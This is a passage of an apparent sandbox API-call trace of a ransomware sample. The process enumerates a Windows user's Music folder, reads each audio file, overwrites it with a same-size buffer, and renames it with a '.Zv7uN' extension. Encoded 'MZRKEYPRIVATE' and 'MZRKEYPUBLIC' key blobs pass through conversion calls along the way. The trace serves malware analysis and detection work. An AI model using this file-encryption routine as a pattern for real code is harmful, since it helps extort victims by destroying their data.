lpNumberOfBytesRead=0x18f108*=0x76c2, lpOverlapped=0x0) returned 1 [0086.315] CloseHandle (hObject=0x104) returned 1 [0086.316] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\gNZDQ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\gnzdq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.318] WriteFile (in: hFile=0x104, lpBuffer=0x1f28130*, nNumberOfBytesToWrite=0x76c2, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f28130*, lpNumberOfBytesWritten=0x18f114*=0x76c2, lpOverlapped=0x0) returned 1 [0086.321] CloseHandle (hObject=0x104) returned 1 [0086.333] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\gNZDQ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\gnzdq.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\gNZDQ.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\gnzdq.wav.zv7un")) returned 1 [0086.334] GetCurrentThreadId () returned 0xa30 [0086.334] GetCurrentThreadId () returned 0xa30 [0086.334] GetCurrentThreadId () returned 0xa30 [0086.334] GetCurrentThreadId () returned 0xa30 [0086.334] GetCurrentThreadId () returned 0xa30 [0086.334] GetCurrentThreadId () returned 0xa30 [0086.334] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248e9a50, ftCreationTime.dwHighDateTime=0x1d5e0dc, ftLastAccessTime.dwLowDateTime=0x9de80590, ftLastAccessTime.dwHighDateTime=0x1d5d811, ftLastWriteTime.dwLowDateTime=0x9de80590, ftLastWriteTime.dwHighDateTime=0x1d5d811, nFileSizeHigh=0x0, nFileSizeLow=0xa722, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="heHZ11T-y5rNyaj1d.mp3", cAlternateFileName="HEHZ11~1.MP3")) returned 1 [0086.334] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.334] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.334] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\heHZ11T-y5rNyaj1d.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\hehz11t-y5rnyaj1d.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248e9a50, ftCreationTime.dwHighDateTime=0x1d5e0dc, ftLastAccessTime.dwLowDateTime=0x9de80590, ftLastAccessTime.dwHighDateTime=0x1d5d811, ftLastWriteTime.dwLowDateTime=0x9de80590, ftLastWriteTime.dwHighDateTime=0x1d5d811, nFileSizeHigh=0x0, nFileSizeLow=0xa722)) returned 1 [0086.335] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\heHZ11T-y5rNyaj1d.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\hehz11t-y5rnyaj1d.mp3")) returned 0x20 [0086.335] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\heHZ11T-y5rNyaj1d.mp3", dwFileAttributes=0x80) returned 1 [0086.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0729c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.364] GetCurrentThreadId () returned 0xa30 [0086.364] GetCurrentThreadId () returned 0xa30 [0086.364] GetCurrentThreadId () returned 0xa30 [0086.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f182fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.365] GetCurrentThreadId () returned 0xa30 [0086.365] GetCurrentThreadId () returned 0xa30 [0086.365] GetCurrentThreadId () returned 0xa30 [0086.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\heHZ11T-y5rNyaj1d.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\hehz11t-y5rnyaj1d.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.365] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0086.365] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.366] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0xa722 [0086.366] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.366] ReadFile (in: hFile=0x104, lpBuffer=0x1f20100, nNumberOfBytesToRead=0xa722, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f20100*, lpNumberOfBytesRead=0x18f108*=0xa722, lpOverlapped=0x0) returned 1 [0086.369] CloseHandle (hObject=0x104) returned 1 [0086.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\heHZ11T-y5rNyaj1d.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\hehz11t-y5rnyaj1d.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.372] WriteFile (in: hFile=0x104, lpBuffer=0x1f2c130*, nNumberOfBytesToWrite=0xa722, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f2c130*, lpNumberOfBytesWritten=0x18f114*=0xa722, lpOverlapped=0x0) returned 1 [0086.376] CloseHandle (hObject=0x104) returned 1 [0086.378] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\heHZ11T-y5rNyaj1d.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\hehz11t-y5rnyaj1d.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\heHZ11T-y5rNyaj1d.mp3.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\hehz11t-y5rnyaj1d.mp3.zv7un")) returned 1 [0086.379] GetCurrentThreadId () returned 0xa30 [0086.379] GetCurrentThreadId () returned 0xa30 [0086.379] GetCurrentThreadId () returned 0xa30 [0086.379] GetCurrentThreadId () returned 0xa30 [0086.379] GetCurrentThreadId () returned 0xa30 [0086.380] GetCurrentThreadId () returned 0xa30 [0086.380] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe058ab0, ftCreationTime.dwHighDateTime=0x1d5e7ec, ftLastAccessTime.dwLowDateTime=0x33a58d40, ftLastAccessTime.dwHighDateTime=0x1d5df6b, ftLastWriteTime.dwLowDateTime=0x33a58d40, ftLastWriteTime.dwHighDateTime=0x1d5df6b, nFileSizeHigh=0x0, nFileSizeLow=0x19cf, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="pPjEdESc.mp3", cAlternateFileName="")) returned 1 [0086.380] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.380] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\pPjEdESc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\ppjedesc.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe058ab0, ftCreationTime.dwHighDateTime=0x1d5e7ec, ftLastAccessTime.dwLowDateTime=0x33a58d40, ftLastAccessTime.dwHighDateTime=0x1d5df6b, ftLastWriteTime.dwLowDateTime=0x33a58d40, ftLastWriteTime.dwHighDateTime=0x1d5df6b, nFileSizeHigh=0x0, nFileSizeLow=0x19cf)) returned 1 [0086.380] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\pPjEdESc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\ppjedesc.mp3")) returned 0x20 [0086.380] SetFileAttributesW 